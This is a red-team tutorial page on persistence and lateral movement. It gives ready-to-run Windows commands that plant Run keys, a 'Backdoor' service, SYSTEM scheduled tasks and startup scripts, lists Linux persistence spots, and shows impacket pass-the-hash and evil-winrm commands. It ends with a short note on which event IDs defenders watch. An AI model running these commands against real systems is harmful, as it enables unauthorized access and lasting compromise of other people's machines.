

Persistence & Lateral Movement

Persistence: the adversary's sneakers

A foothold that dies on reboot is a demo. Real adversaries persist: survive reboots, updates, and some cleanups.

Windows persistence spots

```
# Registry Run keys (user & machine, stable classic)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v updater /t REG_SZ /d "C:\Windows\Tasks\updater.exe"

# Services (MUST be installed with rights)
sc create Backdoor type= own start= auto binPath= "C:\Windows\pwn.exe"

# Scheduled tasks (system-level)
schtasks /create /tn Update /sc onlogon /tr cmd.exe /ru SYSTEM

# WMI event subscription (fires on time/startup, deep in WMI)
# (tools: SharpWMI, PayloadsAllTheThings-WMI)

# Startup folder
echo payload > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.bat"
```

Linux persistence

- SSH keys in authorized_keys
- Cron jobs (root crontab)
- systemd units (a service file + enable)
- LD_PRELOAD in /etc/ld.so.preload
- rc.local / /etc/init.d

Sneaky favorites

- AppInit_DLLs / image hijacking (App Paths)
- COM hijack — replace a legit COM handler path (Win)

DC accounts / azure: add a new admin user with hidden MFA rights
Browser extensions (rare but real)

Lateral movement

Remote service + hash (psexec-like)
WMI (remote execution)
Scheduled tasks over IPC (schtasks /s target)
WinRM / PowerShell remoting (5985/5986)
SSH pivots (ssh -R reverse)
RDP with stolen creds; token impersonation

```
impacket-wmiexec domain/user@10.0.0.31 -hashes :<NTLM>  
impacket-psexec domain/user@10.0.0.31 -hashes :<NTLM>  
evil-winrm -i 10.0.0.31 -u user -p 'pass' # WinRM
```

Detection reminder

Persistence = one of the loudest phases. Blue teams look at: new scheduled tasks (106), service creation (7045), Run keys (event 13 via Sysmon), WMI activity (19-21).

[← Buffer Overflows & Memory Co...](#)

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